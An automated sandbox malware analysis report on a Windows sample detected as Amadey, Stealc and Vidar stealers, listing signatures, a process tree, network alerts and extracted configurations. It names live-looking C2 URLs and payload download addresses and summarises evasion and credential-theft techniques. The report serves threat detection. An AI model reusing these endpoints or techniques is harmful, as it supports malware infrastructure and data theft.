Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554385
MD5:	5a2241ae692a1a1563afd21574dcf238
SHA1:	d0916dbe85860c53b54338b35912e11698d5408e
SHA256:	f881547a0def14f2d0721c040a32d2bf1f22a0aaf7a5c0b4e3d83bb41b2037ec
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5320 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5A2241AE692A1A1563AFD21574DCF238)

chrome.exe (PID: 5076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2020,i,2579233296112613996,7576974820775269714,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2368,i,8315494591185384419,3277572729580263378,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8180 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBAKJEHDBG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCBAKJEHDBG.exe (PID: 7968 cmdline: "C:\Users\user\DocumentsCBAKJEHDBG.exe" MD5: D2BB2A25108B9A225C896FD5C0E469C0)

skotes.exe (PID: 8432 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D2BB2A25108B9A225C896FD5C0E469C0)

msedge.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 5704 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7284 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7708 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6472 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5752 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8484 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D2BB2A25108B9A225C896FD5C0E469C0)

skotes.exe (PID: 8976 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D2BB2A25108B9A225C896FD5C0E469C0)

80b5f835af.exe (PID: 9148 cmdline: "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe" MD5: 5A2241AE692A1A1563AFD21574DCF238)

skotes.exe (PID: 8844 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D2BB2A25108B9A225C896FD5C0E469C0)

e8cb2646d2.exe (PID: 4236 cmdline: "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe" MD5: DC571FB51CE618C85DF41C5499CA6CD4)

80b5f835af.exe (PID: 3004 cmdline: "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe" MD5: 5A2241AE692A1A1563AFD21574DCF238)

80b5f835af.exe (PID: 8412 cmdline: "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe" MD5: 5A2241AE692A1A1563AFD21574DCF238)

e8cb2646d2.exe (PID: 6348 cmdline: "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe" MD5: DC571FB51CE618C85DF41C5499CA6CD4)

e8cb2646d2.exe (PID: 1396 cmdline: "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe" MD5: DC571FB51CE618C85DF41C5499CA6CD4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2672523079.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3093978577.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2976420926.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3053437488.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2651768061.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2619339487.000000000067C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.3016848121.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2831544731.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2134993992.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2619339487.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2672723810.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2871777456.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5320	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5320	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5320	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 80b5f835af.exe PID: 9148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 80b5f835af.exe PID: 9148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 80b5f835af.exe PID: 3004	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 80b5f835af.exe PID: 3004	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 80b5f835af.exe PID: 8412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 80b5f835af.exe PID: 8412	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsCBAKJEHDBG.exe.e40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8976, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\80b5f835af.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5320, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5076, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8976, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\80b5f835af.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:36:16.193085+0100	2044696	1	A Network Trojan was detected	192.168.2.6	62391	185.215.113.43	80	TCP
2024-11-12T13:36:20.170158+0100	2044696	1	A Network Trojan was detected	192.168.2.6	62394	185.215.113.43	80	TCP
2024-11-12T13:36:30.830484+0100	2044696	1	A Network Trojan was detected	192.168.2.6	62399	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:08.074596+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:08.058865+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:08.355732+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:09.481813+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:08.364302+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:07.770790+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:36:17.931659+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	62393	185.215.113.206	80	TCP
2024-11-12T13:36:31.669819+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	62401	185.215.113.206	80	TCP
2024-11-12T13:36:40.156123+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	62405	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:36:04.643989+0100	2856147	1	A Network Trojan was detected	192.168.2.6	62374	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:36:15.301415+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	62383	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:36:08.173466+0100	2803305	3	Unknown Traffic	192.168.2.6	62388	185.215.113.16	80	TCP
2024-11-12T13:36:21.112698+0100	2803305	3	Unknown Traffic	192.168.2.6	62395	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T13:35:10.079233+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:32.444191+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:35.946987+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:37.856471+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:38.884426+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:41.056628+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:41.619553+0100	2803304	3	Unknown Traffic	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:45.635379+0100	2803304	3	Unknown Traffic	192.168.2.6	62262	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllH	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpeT	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpM	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exex	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllV	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpV	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/u	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpi	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2672523079.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 80b5f835af.exe.3004.29.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC3A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC344C0 PK11_PubEncrypt,	0_2_6CC344C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC34440 PK11_PrivDecrypt,	0_2_6CC34440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC04420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC04420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC825B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC825B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC1E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC3A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC18670

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49779 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:51580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62412 version: TLS 1.2
